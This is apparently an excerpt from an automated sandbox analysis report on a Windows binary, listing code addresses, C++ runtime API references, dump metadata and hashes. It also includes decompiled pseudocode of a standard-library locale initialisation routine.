0x7ff7af6f8d9e
0x7ff7af6f8daa
0x7ff7af6f8db1
0x7ff7af6f8dbb
0x7ff7af6f8dc0
0x7ff7af6f8dc8
0x7ff7af6f8dcd
0x7ff7af6f8dd4
0x7ff7af6f8dd6
0x7ff7af6f8dde
0x7ff7af6f8de6
0x7ff7af6f8df1
0x7ff7af6f8df6
0x7ff7af6f8e02
0x7ff7af6f8e07
0x7ff7af6f8e0e
0x7ff7af6f8e10
0x7ff7af6f8e1a
0x7ff7af6f8e1d
0x7ff7af6f8e1f
0x7ff7af6f8e22
0x7ff7af6f8e27
0x7ff7af6f8e2f
0x7ff7af6f8e34
0x7ff7af6f8e3b
0x7ff7af6f8e3d
0x7ff7af6f8e45
0x7ff7af6f8e4d
0x7ff7af6f8e58
0x7ff7af6f8e5d
0x7ff7af6f8e67
0x7ff7af6f8e75
0x7ff7af6f8e7a
0x7ff7af6f8e84
0x7ff7af6f8e8d
0x7ff7af6f8e95
0x7ff7af6f8e9a
0x7ff7af6f8ea1
0x7ff7af6f8ea3
0x7ff7af6f8eab
0x7ff7af6f8eb3
0x7ff7af6f8ebe
0x7ff7af6f8ec3
0x7ff7af6f8ecf
0x7ff7af6f8ed4
0x7ff7af6f8ed7
0x7ff7af6f8ede
0x7ff7af6f8ee0
0x7ff7af6f8eeb
0x7ff7af6f8eee
0x7ff7af6f8ef2
0x7ff7af6f8efb
0x7ff7af6f8f08
0x7ff7af6f8f0b
0x7ff7af6f8f0f
0x7ff7af6f8f14
0x7ff7af6f8f1c
0x7ff7af6f8f21
0x7ff7af6f8f28
0x7ff7af6f8f2a
0x7ff7af6f8f32
0x7ff7af6f8f3a
0x7ff7af6f8f45
0x7ff7af6f8f4a
0x7ff7af6f8f54
0x7ff7af6f8f65
0x7ff7af6f8f6a
0x7ff7af6f8f70
0x7ff7af6f8f76
0x7ff7af6f8f80
0x7ff7af6f8f88
0x7ff7af6f8f8d
0x7ff7af6f8f94
0x7ff7af6f8f96
0x7ff7af6f8f9e
0x7ff7af6f8fa6
0x7ff7af6f8fb1
0x7ff7af6f8fb6
0x7ff7af6f8fc2
0x7ff7af6f8fca
0x7ff7af6f8fd1
0x7ff7af6f8fd3
0x7ff7af6f8fde
0x7ff7af6f8fe1
0x7ff7af6f8fe5
0x7ff7af6f8fee
0x7ff7af6f8ffb
0x7ff7af6f8ffe
0x7ff7af6f9009
0x7ff7af6f900b
0x7ff7af6f9015
0x7ff7af6f901d
0x7ff7af6f9022
0x7ff7af6f9029
0x7ff7af6f902b
0x7ff7af6f9033
0x7ff7af6f903b
0x7ff7af6f9046
0x7ff7af6f904b
0x7ff7af6f9055
0x7ff7af6f9063
0x7ff7af6f906c
0x7ff7af6f9072
0x7ff7af6f907c
0x7ff7af6f9085
0x7ff7af6f908d
0x7ff7af6f9092
0x7ff7af6f9099
0x7ff7af6f909b
0x7ff7af6f90a3
0x7ff7af6f90ab
0x7ff7af6f90b6
0x7ff7af6f90bb
0x7ff7af6f90c7
0x7ff7af6f90cf
0x7ff7af6f90d6
0x7ff7af6f90d8
0x7ff7af6f90e3
0x7ff7af6f90e6
0x7ff7af6f90ea
0x7ff7af6f90ee
0x7ff7af6f90f2
0x7ff7af6f90fe
0x7ff7af6f9108
0x7ff7af6f910b
0x7ff7af6f9110
0x7ff7af6f9115
0x7ff7af6f911d
0x7ff7af6f9122
0x7ff7af6f9129
0x7ff7af6f912b
0x7ff7af6f9133
0x7ff7af6f913b
0x7ff7af6f9146
0x7ff7af6f914b
0x7ff7af6f9155
0x7ff7af6f9166
0x7ff7af6f916e
0x7ff7af6f9174
0x7ff7af6f917e
0x7ff7af6f9186
0x7ff7af6f918b
0x7ff7af6f9192
0x7ff7af6f9194
0x7ff7af6f919c
0x7ff7af6f91a4
0x7ff7af6f91af
0x7ff7af6f91c0
0x7ff7af6f91c8
0x7ff7af6f91cf
0x7ff7af6f91d1
0x7ff7af6f91dc
0x7ff7af6f91e3
0x7ff7af6f91e7
0x7ff7af6f91ef
0x7ff7af6f91f6
0x7ff7af6f91fb
0x7ff7af6f9200
0x7ff7af6f9203
0x7ff7af6f9209
0x7ff7af6f920b
0x7ff7af6f9211
0x7ff7af6f9216
0x7ff7af6f9221
0x7ff7af6f9223
0x7ff7af6f922d
0x7ff7af6f9235
0x7ff7af6f923a
0x7ff7af6f9241
0x7ff7af6f9243
0x7ff7af6f924b
0x7ff7af6f9253
0x7ff7af6f925e
0x7ff7af6f9263
0x7ff7af6f926d
0x7ff7af6f927b
0x7ff7af6f9284
0x7ff7af6f928d
0x7ff7af6f9293
0x7ff7af6f929d
0x7ff7af6f92a5
0x7ff7af6f92aa
0x7ff7af6f92b1
0x7ff7af6f92b3
0x7ff7af6f92bb
0x7ff7af6f92c3
0x7ff7af6f92ce
0x7ff7af6f92d3
0x7ff7af6f92df
0x7ff7af6f92e4
0x7ff7af6f92e7
0x7ff7af6f92ee
0x7ff7af6f92f0
0x7ff7af6f92fb
0x7ff7af6f9302
0x7ff7af6f9307
0x7ff7af6f930a
0x7ff7af6f930e
0x7ff7af6f9312
0x7ff7af6f9316
0x7ff7af6f931b
0x7ff7af6f9323
0x7ff7af6f9326
0x7ff7af6f9331
0x7ff7af6f9333
0x7ff7af6f933d
0x7ff7af6f9345
0x7ff7af6f934a
0x7ff7af6f9351
0x7ff7af6f9353
0x7ff7af6f935b
0x7ff7af6f9363
0x7ff7af6f936e
0x7ff7af6f9373
0x7ff7af6f937d
0x7ff7af6f93b0

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8766
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F878F
_Getctype.LIBCPMT ref: 00007FF7AF6F87C3
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F881E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8847
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F888A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F88B3
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F88F2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F891B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8957
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8980
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F89BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F89E8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8A25
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8A4E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8AAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8AD5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8B30
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8B59
_Getcoll.LIBCPMT ref: 00007FF7AF6F8B8D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8BB9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8BE2
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8C25
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8C4E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8CF9
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8D22
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8DC8
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8DF1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8E95
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8EBE
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8F1C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8F45
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F8F88
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F8FB1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F901D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F9046
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F908D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F90B6

Part of subcall function 00007FF7AF6F7360: _Getvals.LIBCPMT ref: 00007FF7AF6F73DC

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F911D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F9146
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F9186
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F91AF
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F9235
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F925E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F92A5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F92CE
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6F9345
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6F936E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$GetcollGetctypeGetvals
String ID:
API String ID: 553569086-0
Opcode ID: 5d4fe218b9f4391c5e39991f1813e92ce058982217709f0563118dc58420fcfc
Instruction ID: 1dbcc54a3f3f7235ec0efb78a46f308d292681ea73b4b9e06652f585d76f6037
Opcode Fuzzy Hash: 5d4fe218b9f4391c5e39991f1813e92ce058982217709f0563118dc58420fcfc
Instruction Fuzzy Hash: F1823366D0BB8295EB91BB21D8502F9B3A6EF54780FCA5035D90E477B5DE3CE881C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6F7A64 Relevance: 81.8, APIs: 54, Instructions: 808
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7AF6F7A64(signed int __edx, void* __eflags, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __r8, void* __r9, void* __r10, long long _a8, char _a16, long long _a24, long long _a32) {
				void* _v40;
				char _v88;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* __rbp;
				intOrPtr _t119;
				intOrPtr _t127;
				intOrPtr _t133;
				intOrPtr _t138;
				intOrPtr _t144;
				intOrPtr _t149;
				intOrPtr _t155;
				intOrPtr _t161;
				intOrPtr _t172;
				intOrPtr _t178;
				intOrPtr _t184;
				intOrPtr _t189;
				intOrPtr _t195;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t211;
				intOrPtr _t217;
				intOrPtr _t223;
				intOrPtr _t229;
				intOrPtr _t235;
				intOrPtr _t241;
				intOrPtr _t248;
				intOrPtr _t255;
				intOrPtr _t263;
				intOrPtr _t270;
				intOrPtr _t277;
				void* _t332;
				void* _t335;
				void* _t339;
				void* _t342;
				void* _t345;
				void* _t348;
				void* _t351;
				void* _t354;
				void* _t358;
				void* _t361;
				void* _t365;
				void* _t368;
				void* _t372;
				void* _t375;
				void* _t378;
				void* _t381;
				void* _t384;
				void* _t387;
				void* _t390;
				void* _t393;
				void* _t397;
				void* _t400;
				void* _t403;
				void* _t407;
				void* _t411;
				void* _t414;
				long long _t416;
				long long* _t418;
				long long* _t419;
				long long* _t422;
				long long* _t423;
				long long _t424;
				long long _t431;
				long long* _t434;
				intOrPtr _t436;
				intOrPtr _t437;
				intOrPtr _t438;
				intOrPtr _t439;
				intOrPtr _t440;
				intOrPtr _t441;
				intOrPtr _t442;
				intOrPtr _t443;
				intOrPtr _t446;
				intOrPtr _t447;
				intOrPtr _t450;
				intOrPtr _t451;
				intOrPtr _t452;
				intOrPtr _t453;
				intOrPtr _t454;
				intOrPtr _t455;
				intOrPtr _t456;
				intOrPtr _t457;
				intOrPtr _t458;
				intOrPtr _t459;
				intOrPtr _t460;
				long long* _t461;
				intOrPtr _t465;
				intOrPtr _t466;
				intOrPtr _t471;
				intOrPtr _t472;
				long long* _t473;
				intOrPtr _t475;
				intOrPtr _t476;
				void* _t597;
				intOrPtr _t598;
				intOrPtr _t599;
				intOrPtr _t602;
				intOrPtr _t603;
				intOrPtr _t605;
				intOrPtr _t606;
				intOrPtr _t607;
				long long _t608;
				intOrPtr _t609;
				intOrPtr _t610;
				intOrPtr _t611;
				intOrPtr _t612;
				intOrPtr _t613;
				intOrPtr _t614;
				intOrPtr _t615;
				intOrPtr _t616;
				void* _t621;
				intOrPtr _t648;
				void* _t650;
				long long _t651;
				long long* _t652;
				long long _t653;

				_t646 = __r10;
				_t645 = __r9;
				_t416 = __rax;
				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t597 = __r9;
				_t651 = __r8;
				r12d = __edx;
				_t650 = __rcx;
				r15d = 0;
				_v136 = __edx & 0x00000002;
				if (__eflags == 0) goto 0xaf6f7bc1;
				if (__r9 != 0) goto 0xaf6f7b64;
				_t602 =  *0xaf752de0; // 0x0
				if (_t602 != 0) goto 0xaf6f7af3;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t332 =  *0xaf752de0 - _t652; // 0x0
				if (_t332 != 0) goto 0xaf6f7ae3;
				_t119 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t119 + 1;
				 *0xaf752de0 = _t416;
				E00007FF77FF7AF6E8BDC(_t416,  &_a16);
				_t603 =  *0xaf752de0; // 0x0
				E00007FF77FF7AF6D7860();
				_t434 = _t416;
				_v128 = _t416;
				if (_t416 == 0) goto 0xaf6f7b59;
				 *((intOrPtr*)(_t416 + 8)) = r15d;
				 *_t434 = 0xaf736e08;
				E00007FF77FF7AF6E8DCC(0xaf736e08,  &_v120, __rdx, __r8);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x20], xmm1");
				E00007FF77FF7AF6E8FC0(0xaf736e08, _t434,  &_v88, __r10);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x30], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x40], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebx+0x50], xmm0");
				 *((intOrPtr*)(_t434 + 0x58)) =  *0x7FF7AF736E30;
				goto 0xaf6f7b5c;
				goto 0xaf6f7bb9;
				_t436 =  *0xaf752de0; // 0x0
				if (_t436 != 0) goto 0xaf6f7bab;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t335 =  *0xaf752de0 - _t652; // 0x0
				if (_t335 != 0) goto 0xaf6f7b9b;
				_t127 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t127 + 1;
				 *0xaf752de0 = 0xaf736e08;
				E00007FF77FF7AF6E8BDC(0xaf736e08,  &_a16);
				_t437 =  *0xaf752de0; // 0x0
				0xaf6eaff8();
				E00007FF77FF7AF6E6384(_t437, __r8, 0xaf736e08, _t597, _t603, _t437);
				if ((r12b & 0x00000008) == 0) goto 0xaf6f7e4f;
				_t438 =  *0xaf753020; // 0x0
				if (_t597 != 0) goto 0xaf6f7c3f;
				if (_t438 != 0) goto 0xaf6f7c17;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t339 =  *0xaf753020 - _t652; // 0x0
				if (_t339 != 0) goto 0xaf6f7c07;
				_t133 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t133 + 1;
				 *0xaf753020 = 0xaf736e08;
				E00007FF77FF7AF6E8BDC(0xaf736e08,  &_a16);
				_t439 =  *0xaf753020; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf736e08;
				if (0xaf736e08 == 0) goto 0xaf6f7c3a;
				 *0x7FF7AF736E10 = r15d;
				 *0xaf736e08 = 0xaf737248;
				goto 0xaf6f7c87;
				_t418 = _t652;
				goto 0xaf6f7c87;
				if (_t439 != 0) goto 0xaf6f7c7f;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t342 =  *0xaf753020 - _t652; // 0x0
				if (_t342 != 0) goto 0xaf6f7c6f;
				_t138 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t138 + 1;
				 *0xaf753020 = _t418;
				E00007FF77FF7AF6E8BDC(_t418,  &_a16);
				_t440 =  *0xaf753020; // 0x0
				0xaf6ebc00();
				E00007FF77FF7AF6E6384(_t440, __r8, _t418, _t597, __r8, _t440);
				_t441 =  *0xaf753028; // 0x0
				if (_t597 != 0) goto 0xaf6f7d0c;
				if (_t441 != 0) goto 0xaf6f7ce4;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t345 =  *0xaf753028 - _t652; // 0x0
				if (_t345 != 0) goto 0xaf6f7cd4;
				_t144 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t144 + 1;
				 *0xaf753028 = _t418;
				E00007FF77FF7AF6E8BDC(_t418,  &_a16);
				_t442 =  *0xaf753028; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t418;
				if (_t418 == 0) goto 0xaf6f7d07;
				 *((intOrPtr*)(_t418 + 8)) = r15d;
				 *_t418 = 0xaf7372c0;
				goto 0xaf6f7d54;
				_t419 = _t652;
				goto 0xaf6f7d54;
				if (_t442 != 0) goto 0xaf6f7d4c;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t348 =  *0xaf753028 - _t652; // 0x0
				if (_t348 != 0) goto 0xaf6f7d3c;
				_t149 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t149 + 1;
				 *0xaf753028 = _t419;
				E00007FF77FF7AF6E8BDC(_t419,  &_a16);
				_t443 =  *0xaf753028; // 0x0
				0xaf6ebe30();
				E00007FF77FF7AF6E6384(_t443, __r8, _t419, _t597, __r8, _t443);
				if (_t597 != 0) goto 0xaf6f7df2;
				_t605 =  *0xaf753030; // 0x0
				if (_t605 != 0) goto 0xaf6f7db2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t351 =  *0xaf753030 - _t652; // 0x0
				if (_t351 != 0) goto 0xaf6f7da2;
				_t155 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t155 + 1;
				 *0xaf753030 = _t419;
				E00007FF77FF7AF6E8BDC(_t419,  &_a16);
				_t606 =  *0xaf753030; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t419;
				if (_t419 == 0) goto 0xaf6f7de7;
				 *((intOrPtr*)(_t419 + 8)) = r15d;
				 *_t419 = 0xaf737320;
				r8d = 0;
				E00007FF77FF7AF6F74A8(_t419, _t419, _t650, _t606, _t645, __r10);
				goto 0xaf6f7dea;
				goto 0xaf6f7e47;
				_t446 =  *0xaf753030; // 0x0
				if (_t446 != 0) goto 0xaf6f7e39;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t354 =  *0xaf753030 - _t652; // 0x0
				if (_t354 != 0) goto 0xaf6f7e29;
				_t161 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t161 + 1;
				 *0xaf753030 = 0xaf737320;
				E00007FF77FF7AF6E8BDC(0xaf737320,  &_a16);
				_t447 =  *0xaf753030; // 0x0
				E00007FF77FF7AF6EBF48(0x30, 0xaf737320, _t597);
				E00007FF77FF7AF6E6384(_t447, _t651, 0xaf737320, _t597, _t606, _t447);
				E00007FF77FF7AF6ED014(0, _t447, _t651, 0xaf737320, _t447);
				if ((r12d & 0x00000001 << 0 >> 0x00000001) == 0) goto 0xaf6f7f5c;
				if (_t597 != 0) goto 0xaf6f7eff;
				_t607 =  *0xaf753038; // 0x0
				if (_t607 != 0) goto 0xaf6f7ebd;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t358 =  *0xaf753038 - _t652; // 0x0
				if (_t358 != 0) goto 0xaf6f7ead;
				_t172 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t172 + 1;
				 *0xaf753038 = 0xaf737320;
				E00007FF77FF7AF6E8BDC(0xaf737320,  &_a16);
				_t608 =  *0xaf753038; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf737320;
				if (0xaf737320 == 0) goto 0xaf6f7ef4;
				 *0x7FF7AF737328 = r15d;
				 *0xaf737320 = 0xaf737368;
				E00007FF77FF7AF7082DC(0xaf737368,  &_v120);
				asm("movups xmm0, [eax]");
				asm("movdqu [ebx+0x10], xmm0");
				goto 0xaf6f7ef7;
				goto 0xaf6f7f54;
				_t450 =  *0xaf753038; // 0x0
				if (_t450 != 0) goto 0xaf6f7f46;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t361 =  *0xaf753038 - _t652; // 0x0
				if (_t361 != 0) goto 0xaf6f7f36;
				_t178 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t178 + 1;
				 *0xaf753038 = 0xaf737368;
				E00007FF77FF7AF6E8BDC(0xaf737368,  &_a16);
				_t451 =  *0xaf753038; // 0x0
				0xaf6eadc8();
				E00007FF77FF7AF6E6384(_t451, _t651, 0xaf737368, _t597, _t608, _t451);
				if ((r12b & 0x00000020) == 0) goto 0xaf6f8030;
				_t452 =  *0xaf753040; // 0x0
				if (_t597 != 0) goto 0xaf6f7fda;
				if (_t452 != 0) goto 0xaf6f7fb2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t365 =  *0xaf753040 - _t652; // 0x0
				if (_t365 != 0) goto 0xaf6f7fa2;
				_t184 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t184 + 1;
				 *0xaf753040 = 0xaf737368;
				E00007FF77FF7AF6E8BDC(0xaf737368,  &_a16);
				_t453 =  *0xaf753040; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf737368;
				if (0xaf737368 == 0) goto 0xaf6f7fd5;
				 *0x7FF7AF737370 = r15d;
				 *0xaf737368 = 0xaf7373a0;
				goto 0xaf6f8022;
				_t422 = _t652;
				goto 0xaf6f8022;
				if (_t453 != 0) goto 0xaf6f801a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t368 =  *0xaf753040 - _t652; // 0x0
				if (_t368 != 0) goto 0xaf6f800a;
				_t189 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t189 + 1;
				 *0xaf753040 = _t422;
				E00007FF77FF7AF6E8BDC(_t422,  &_a16);
				_t454 =  *0xaf753040; // 0x0
				0xaf6eb110();
				E00007FF77FF7AF6E6384(_t454, _t651, _t422, _t597, _t608, _t454);
				if ((r12b & 0x00000004) == 0) goto 0xaf6f83c0;
				_t455 =  *0xaf753048; // 0x0
				if (_t597 != 0) goto 0xaf6f80ae;
				if (_t455 != 0) goto 0xaf6f8086;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t372 =  *0xaf753048 - _t652; // 0x0
				if (_t372 != 0) goto 0xaf6f8076;
				_t195 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t195 + 1;
				 *0xaf753048 = _t422;
				E00007FF77FF7AF6E8BDC(_t422,  &_a16);
				_t456 =  *0xaf753048; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t422;
				if (_t422 == 0) goto 0xaf6f80a9;
				 *((intOrPtr*)(_t422 + 8)) = r15d;
				 *_t422 = 0xaf7373d8;
				goto 0xaf6f80f6;
				_t423 = _t652;
				goto 0xaf6f80f6;
				if (_t456 != 0) goto 0xaf6f80ee;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t375 =  *0xaf753048 - _t652; // 0x0
				if (_t375 != 0) goto 0xaf6f80de;
				_t200 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t200 + 1;
				 *0xaf753048 = _t423;
				E00007FF77FF7AF6E8BDC(_t423,  &_a16);
				_t457 =  *0xaf753048; // 0x0
				0xaf6eb340();
				_t653 = _t651;
				E00007FF77FF7AF6E6384(_t457, _t651, _t423, _t597, _t608, _t457);
				_t458 =  *0xaf753050; // 0x0
				if (_t597 != 0) goto 0xaf6f817c;
				if (_t458 != 0) goto 0xaf6f8155;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t378 =  *0xaf753050 - _t608; // 0x0
				if (_t378 != 0) goto 0xaf6f8145;
				_t206 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t206 + 1;
				 *0xaf753050 = _t423;
				E00007FF77FF7AF6E8BDC(_t423,  &_a16);
				_t459 =  *0xaf753050; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t423;
				if (_t423 == 0) goto 0xaf6f8177;
				 *((intOrPtr*)(_t423 + 8)) = 0;
				 *_t423 = 0xaf737408;
				goto 0xaf6f81c4;
				_t424 = _t608;
				goto 0xaf6f81c4;
				if (_t459 != 0) goto 0xaf6f81bc;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t381 =  *0xaf753050 - _t608; // 0x0
				if (_t381 != 0) goto 0xaf6f81ac;
				_t211 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t211 + 1;
				 *0xaf753050 = _t424;
				E00007FF77FF7AF6E8BDC(_t424,  &_a16);
				_t460 =  *0xaf753050; // 0x0
				0xaf6eb570();
				E00007FF77FF7AF6E6384(_t460, _t653, _t424, _t597, _t608, _t460);
				_t609 =  *0xaf753058; // 0x0
				if (_t597 != 0) goto 0xaf6f8269;
				if (_t609 != 0) goto 0xaf6f8222;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t384 =  *0xaf753058 - _t597; // 0x0
				if (_t384 != 0) goto 0xaf6f8212;
				_t217 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t217 + 1;
				 *0xaf753058 = _t424;
				E00007FF77FF7AF6E8BDC(_t424,  &_a16);
				_t610 =  *0xaf753058; // 0x0
				E00007FF77FF7AF6D7860();
				_t461 = _t424;
				_v128 = _t424;
				if (_t424 == 0) goto 0xaf6f8265;
				 *(_t424 + 8) =  *(_t424 + 8) & 0x00000000;
				 *_t461 = 0xaf737438;
				 *((char*)(_t461 + 0x44)) = 0;
				r8d = 0;
				E00007FF77FF7AF6F7218(_t424, 0xaf737438, _t461, _t461, _t650, _t621, __r10);
				 *_t461 = 0xaf7374a0;
				goto 0xaf6f8267;
				goto 0xaf6f82b4;
				if (_t610 != 0) goto 0xaf6f82a9;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t387 =  *0xaf753058 - _t610; // 0x0
				if (_t387 != 0) goto 0xaf6f8299;
				_t223 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t223 + 1;
				 *0xaf753058 = 0xaf7374a0;
				E00007FF77FF7AF6E8BDC(0xaf7374a0,  &_a16);
				_t611 =  *0xaf753058; // 0x0
				0xaf6eb8b8();
				E00007FF77FF7AF6E6384(0xaf7374a0, _t653, 0xaf7374a0, _t597, _t611, _t611);
				r15d = 0;
				if (_t597 != 0) goto 0xaf6f8363;
				_t612 =  *0xaf753060; // 0x0
				if (_t612 != 0) goto 0xaf6f8315;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t390 =  *0xaf753060 - _t653; // 0x0
				if (_t390 != 0) goto 0xaf6f8305;
				_t229 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t229 + 1;
				 *0xaf753060 = 0xaf7374a0;
				E00007FF77FF7AF6E8BDC(0xaf7374a0,  &_a16);
				_t613 =  *0xaf753060; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf7374a0;
				if (0xaf7374a0 == 0) goto 0xaf6f8358;
				 *0x7FF7AF7374A8 = r15d;
				 *0xaf7374a0 = 0xaf737438;
				 *0x7FF7AF7374E4 = 1;
				r8d = 0;
				E00007FF77FF7AF6F7218(0xaf7374a0, 0xaf737438, 0xaf7374a0, 0xaf7374a0, _t650, _t621, __r10);
				 *0xaf7374a0 = 0xaf737508;
				goto 0xaf6f835b;
				goto 0xaf6f83b8;
				_t465 =  *0xaf753060; // 0x0
				if (_t465 != 0) goto 0xaf6f83aa;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t393 =  *0xaf753060 - _t653; // 0x0
				if (_t393 != 0) goto 0xaf6f839a;
				_t235 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t235 + 1;
				 *0xaf753060 = 0xaf737508;
				E00007FF77FF7AF6E8BDC(0xaf737508,  &_a16);
				_t466 =  *0xaf753060; // 0x0
				0xaf6eb7a0();
				E00007FF77FF7AF6E6384(_t466, _t651, 0xaf737508, _t597, _t613, _t466);
				if ((r12b & 0x00000010) == 0) goto 0xaf6f85d8;
				_t614 =  *0xaf753068; // 0x0
				if (_t597 != 0) goto 0xaf6f846a;
				if (_t614 != 0) goto 0xaf6f841a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t397 =  *0xaf753068 - _t653; // 0x0
				if (_t397 != 0) goto 0xaf6f840a;
				_t241 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t241 + 1;
				 *0xaf753068 = 0xaf737508;
				E00007FF77FF7AF6E8BDC(0xaf737508,  &_a16);
				_t615 =  *0xaf753068; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf737508;
				if (0xaf737508 == 0) goto 0xaf6f8465;
